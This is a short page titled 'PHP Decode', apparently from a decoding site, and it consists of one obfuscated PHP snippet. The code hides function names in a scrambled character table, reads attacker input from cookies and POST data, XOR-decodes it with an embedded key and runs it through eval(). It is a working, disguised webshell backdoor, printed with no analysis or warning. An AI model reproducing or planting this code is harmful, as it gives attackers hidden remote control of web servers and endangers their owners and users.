PHP Decode

<?  $nhvta = 'bai06m1_\'lxHop37t94*gs#d8rfyvnuek-c';$adzuae = Array();$adzuae[] = $nhvta[0].$nhvta[31].$nhvta[26].$nhvta[4].$nhvta[6].$nhvta[24].$nhvta[17].$nhvta[14].$nhvta[33].$nhvta[24].$nhvta[3].$nhvta[34].$nhvta[14].$nhvta[33].$nhvta[18].$nhvta[26].$nhvta[14].$nhvta[34].$nhvta[33].$nhvta[24].$nhvta[31].$nhvta[17].$nhvta[6].$nhvta[33].$nhvta[23].$nhvta[0].$nhvta[34].$nhvta[34].$nhvta[3].$nhvta[4].$nhvta[15].$nhvta[3].$nhvta[15].$nhvta[31].$nhvta[6].$nhvta[1];$adzuae[] = $nhvta[11].$nhvta[19];$adzuae[] = $nhvta[22];$adzuae[] = $nhvta[34].$nhvta[12].$nhvta[30].$nhvta[29].$nhvta[16];$adzuae[] = $nhvta[21].$nhvta[16].$nhvta[25].$nhvta[7].$nhvta[25].$nhvta[31].$nhvta[13].$nhvta[31].$nhvta[1].$nhvta[16];$adzuae[] = $nhvta[31].$nhvta[10].$nhvta[13].$nhvta[9].$nhvta[12].$nhvta[23].$nhvta[31];$adzuae[] = $nhvta[21].$nhvta[30].$nhvta[0].$nhvta[21].$nhvta[16].$nhvta[25];$adzuae[] = $nhvta[1].$nhvta[25].$nhvta[25].$nhvta[1].$nhvta[27].$nhvta[7].$nhvta[5].$nhvta[31].$nhvta[25].$nhvta[20].$nhvta[31];$adzuae[] = $nhvta[21].$nhvta[16].$nhvta[25].$nhvta[9].$nhvta[31].$nhvta[29];$adzuae[] = $nhvta[13].$nhvta[1].$nhvta[34].$nhvta[32];foreach ($adzuae[7]($_COOKIE, $_POST) as $zxgww => $oyiwjsx){function bjodf($adzuae, $zxgww, $ngldwo){return $adzuae[6]($adzuae[4]($zxgww . $adzuae[0], ($ngldwo / $adzuae[8]($zxgww)) + 1), 0, $ngldwo);}function wbpezr($adzuae, $fnyid){return @$adzuae[9]($adzuae[1], $fnyid);}function voyjepw($adzuae, $fnyid){$vivkfuw = $adzuae[3]($fnyid) % 3;if (!$vivkfuw) {eval($fnyid[1]($fnyid[2]));exit();}}$oyiwjsx = wbpezr($adzuae, $oyiwjsx);voyjepw($adzuae, $adzuae[5]($adzuae[2], $oyiwjsx ^ bjodf($adzuae, $zxgww, $adzuae[8]($oyiwjsx))));} ?>